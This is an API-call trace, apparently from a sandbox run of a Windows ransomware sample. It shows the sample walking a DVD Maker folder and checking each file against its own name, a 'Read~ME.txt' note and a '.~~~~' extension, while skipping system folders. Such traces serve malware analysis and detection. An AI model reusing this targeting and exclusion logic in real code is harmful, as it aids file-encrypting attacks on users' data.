	[0081.503] StrStrW (lpFirst="TitleButtonSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.541] lstrcmpW (lpString1="TitleButtonSubpicture.png", lpString2="Read~ME.txt") returned 1
	[0081.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.541] GetCurrentThreadId () returned 0x618
	[0081.541] RtlWakeConditionVariable () returned 0x365f48
	[0081.541] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1
	[0081.541] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="Windows") returned -1
	[0081.541] lstrcmpW (lpString1="Title_Page.wmv", lpString2="oiikyy.exe") returned 1
	[0081.541] StrStrW (lpFirst="Title_Page.wmv", lpSrch=".~~~~") returned 0x0
	[0081.541] lstrcmpW (lpString1="Title_Page.wmv", lpString2="Read~ME.txt") returned 1
	[0081.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.541] GetCurrentThreadId () returned 0x618
	[0081.541] RtlWakeConditionVariable () returned 0x365f48
	[0081.541] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.541] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="Windows") returned -1
	[0081.541] lstrcmpW (lpString1="Title_Page_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.541] StrStrW (lpFirst="Title_Page_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.541] lstrcmpW (lpString1="Title_Page_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.541] GetCurrentThreadId () returned 0x618
	[0081.541] RtlWakeConditionVariable () returned 0x365f48
	[0081.541] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x2, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1
	[0081.542] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="Windows") returned -1
	[0081.542] lstrcmpW (lpString1="title_trans_notes.wmv", lpString2="oiikyy.exe") returned 1
	[0081.542] StrStrW (lpFirst="title_trans_notes.wmv", lpSrch=".~~~~") returned 0x0
	[0081.542] lstrcmpW (lpString1="title_trans_notes.wmv", lpString2="Read~ME.txt") returned 1
	[0081.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.542] GetCurrentThreadId () returned 0x618
	[0081.542] RtlWakeConditionVariable () returned 0x365f48
	[0081.542] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.542] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="Windows") returned -1
	[0081.542] lstrcmpW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.542] StrStrW (lpFirst="Title_Trans_Notes_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.542] lstrcmpW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.542] GetCurrentThreadId () returned 0x618
	[0081.542] RtlWakeConditionVariable () returned 0x365f48
	[0081.542] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x2, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1
	[0081.542] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="Windows") returned -1
	[0081.542] lstrcmpW (lpString1="title_trans_scene.wmv", lpString2="oiikyy.exe") returned 1
	[0081.542] StrStrW (lpFirst="title_trans_scene.wmv", lpSrch=".~~~~") returned 0x0
	[0081.542] lstrcmpW (lpString1="title_trans_scene.wmv", lpString2="Read~ME.txt") returned 1
	[0081.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.542] GetCurrentThreadId () returned 0x618
	[0081.542] RtlWakeConditionVariable () returned 0x365f48
	[0081.542] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.542] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="Windows") returned -1
	[0081.542] lstrcmpW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.542] StrStrW (lpFirst="Title_Trans_Scene_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.542] lstrcmpW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.542] GetCurrentThreadId () returned 0x618
	[0081.542] RtlWakeConditionVariable () returned 0x365f48
	[0081.543] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x2, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1
	[0081.543] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="Windows") returned -1
	[0081.543] lstrcmpW (lpString1="userContent_16x9_imagemask.png", lpString2="oiikyy.exe") returned 1
	[0081.543] StrStrW (lpFirst="userContent_16x9_imagemask.png", lpSrch=".~~~~") returned 0x0
	[0081.543] lstrcmpW (lpString1="userContent_16x9_imagemask.png", lpString2="Read~ME.txt") returned 1
	[0081.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.543] GetCurrentThreadId () returned 0x618
	[0081.543] RtlWakeConditionVariable () returned 0x365f48
	[0081.543] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x2, cFileName="whitemenu.png", cAlternateFileName="")) returned 1
	[0081.543] lstrcmpiW (lpString1="whitemenu.png", lpString2="Windows") returned -1
	[0081.543] lstrcmpW (lpString1="whitemenu.png", lpString2="oiikyy.exe") returned 1
	[0081.543] StrStrW (lpFirst="whitemenu.png", lpSrch=".~~~~") returned 0x0
	[0081.543] lstrcmpW (lpString1="whitemenu.png", lpString2="Read~ME.txt") returned 1
	[0081.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.543] GetCurrentThreadId () returned 0x618
	[0081.543] RtlWakeConditionVariable () returned 0x365f48
	[0081.543] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x2, cFileName="whitemenu.png", cAlternateFileName="")) returned 0
	[0081.543] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0081.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0081.544] GetCurrentThreadId () returned 0x618
	[0081.544] RtlWakeConditionVariable () returned 0x365f48
	[0081.546] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1
	[0081.546] lstrcmpiW (lpString1="Pets", lpString2="Windows") returned -1
	[0081.546] lstrcmpW (lpString1="Pets", lpString2=".") returned 1
	[0081.546] lstrcmpW (lpString1="Pets", lpString2="..") returned 1
	[0081.546] lstrcmpW (lpString1="Pets", lpString2="AppData") returned 1
	[0081.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets", lpSrch="AppData") returned 0x0
	[0081.546] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.546] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets", lpString2="C:\\Windows") returned -1
	[0081.547] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.547] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets", lpString2="C:\\System Volume Information") returned -1
	[0081.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0081.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0081.561] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0081.561] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0081.561] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0081.561] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0081.561] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0081.561] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0081.562] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0081.562] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0081.562] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0081.562] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0081.562] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0081.562] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0081.562] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x2, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1
	[0081.562] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="Windows") returned -1
	[0081.562] lstrcmpW (lpString1="Notes_INTRO_BG.wmv", lpString2="oiikyy.exe") returned -1
	[0081.562] StrStrW (lpFirst="Notes_INTRO_BG.wmv", lpSrch=".~~~~") returned 0x0
	[0081.562] lstrcmpW (lpString1="Notes_INTRO_BG.wmv", lpString2="Read~ME.txt") returned -1
	[0081.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.562] GetCurrentThreadId () returned 0x618
	[0081.562] RtlWakeConditionVariable () returned 0x365f48
	[0081.562] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x2, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.562] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="Windows") returned -1
	[0081.562] lstrcmpW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0081.562] StrStrW (lpFirst="Notes_INTRO_BG_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.562] lstrcmpW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0081.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.562] GetCurrentThreadId () returned 0x618
	[0081.562] RtlWakeConditionVariable () returned 0x365f48
	[0081.562] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x2, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1
	[0081.562] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="Windows") returned -1
	[0081.562] lstrcmpW (lpString1="Notes_LOOP_BG.wmv", lpString2="oiikyy.exe") returned -1
	[0081.562] StrStrW (lpFirst="Notes_LOOP_BG.wmv", lpSrch=".~~~~") returned 0x0
	[0081.562] lstrcmpW (lpString1="Notes_LOOP_BG.wmv", lpString2="Read~ME.txt") returned -1
	[0081.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.562] GetCurrentThreadId () returned 0x618
	[0081.562] RtlWakeConditionVariable () returned 0x365f48
	[0081.562] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x2, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.563] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="Windows") returned -1
	[0081.563] lstrcmpW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0081.563] StrStrW (lpFirst="Notes_LOOP_BG_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.563] lstrcmpW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0081.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.563] GetCurrentThreadId () returned 0x618
	[0081.563] RtlWakeConditionVariable () returned 0x365f48
	[0081.563] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1
	[0081.563] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="Windows") returned -1
	[0081.563] lstrcmpW (lpString1="Pets_btn-back-over-select.png", lpString2="oiikyy.exe") returned 1
	[0081.563] StrStrW (lpFirst="Pets_btn-back-over-select.png", lpSrch=".~~~~") returned 0x0
	[0081.563] lstrcmpW (lpString1="Pets_btn-back-over-select.png", lpString2="Read~ME.txt") returned -1
	[0081.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.563] GetCurrentThreadId () returned 0x618
	[0081.563] RtlWakeConditionVariable () returned 0x365f48
	[0081.563] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1
	[0081.563] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="Windows") returned -1
	[0081.563] lstrcmpW (lpString1="Pets_btn-back-static.png", lpString2="oiikyy.exe") returned 1
	[0081.563] StrStrW (lpFirst="Pets_btn-back-static.png", lpSrch=".~~~~") returned 0x0
	[0081.563] lstrcmpW (lpString1="Pets_btn-back-static.png", lpString2="Read~ME.txt") returned -1
	[0081.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.563] GetCurrentThreadId () returned 0x618
	[0081.563] RtlWakeConditionVariable () returned 0x365f48
	[0081.563] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1
	[0081.563] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="Windows") returned -1
	[0081.563] lstrcmpW (lpString1="Pets_btn-next-over-select.png", lpString2="oiikyy.exe") returned 1
	[0081.563] StrStrW (lpFirst="Pets_btn-next-over-select.png", lpSrch=".~~~~") returned 0x0
	[0081.563] lstrcmpW (lpString1="Pets_btn-next-over-select.png", lpString2="Read~ME.txt") returned -1
	[0081.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.563] GetCurrentThreadId () returned 0x618
	[0081.563] RtlWakeConditionVariable () returned 0x365f48
	[0081.563] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1
	[0081.564] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="Windows") returned -1
	[0081.564] lstrcmpW (lpString1="Pets_btn-next-static.png", lpString2="oiikyy.exe") returned 1
	[0081.564] StrStrW (lpFirst="Pets_btn-next-static.png", lpSrch=".~~~~") returned 0x0
	[0081.564] lstrcmpW (lpString1="Pets_btn-next-static.png", lpString2="Read~ME.txt") returned -1
	[0081.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.564] GetCurrentThreadId () returned 0x618
	[0081.564] RtlWakeConditionVariable () returned 0x365f48
	[0081.564] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1
	[0081.564] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="Windows") returned -1
	[0081.564] lstrcmpW (lpString1="Pets_btn-over-DOT.png", lpString2="oiikyy.exe") returned 1
	[0081.564] StrStrW (lpFirst="Pets_btn-over-DOT.png", lpSrch=".~~~~") returned 0x0
	[0081.564] lstrcmpW (lpString1="Pets_btn-over-DOT.png", lpString2="Read~ME.txt") returned -1
	[0081.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.564] GetCurrentThreadId () returned 0x618
	[0081.564] RtlWakeConditionVariable () returned 0x365f48
	[0081.564] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1
	[0081.564] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="Windows") returned -1
	[0081.564] lstrcmpW (lpString1="Pets_btn-previous-over-select.png", lpString2="oiikyy.exe") returned 1
	[0081.564] StrStrW (lpFirst="Pets_btn-previous-over-select.png", lpSrch=".~~~~") returned 0x0
	[0081.564] lstrcmpW (lpString1="Pets_btn-previous-over-select.png", lpString2="Read~ME.txt") returned -1
	[0081.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.564] GetCurrentThreadId () returned 0x618
	[0081.564] RtlWakeConditionVariable () returned 0x365f48
	[0081.564] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1
	[0081.564] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="Windows") returned -1
	[0081.564] lstrcmpW (lpString1="Pets_btn-previous-static.png", lpString2="oiikyy.exe") returned 1
	[0081.564] StrStrW (lpFirst="Pets_btn-previous-static.png", lpSrch=".~~~~") returned 0x0
	[0081.564] lstrcmpW (lpString1="Pets_btn-previous-static.png", lpString2="Read~ME.txt") returned -1
	[0081.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.564] GetCurrentThreadId () returned 0x618
	[0081.564] RtlWakeConditionVariable () returned 0x365f48
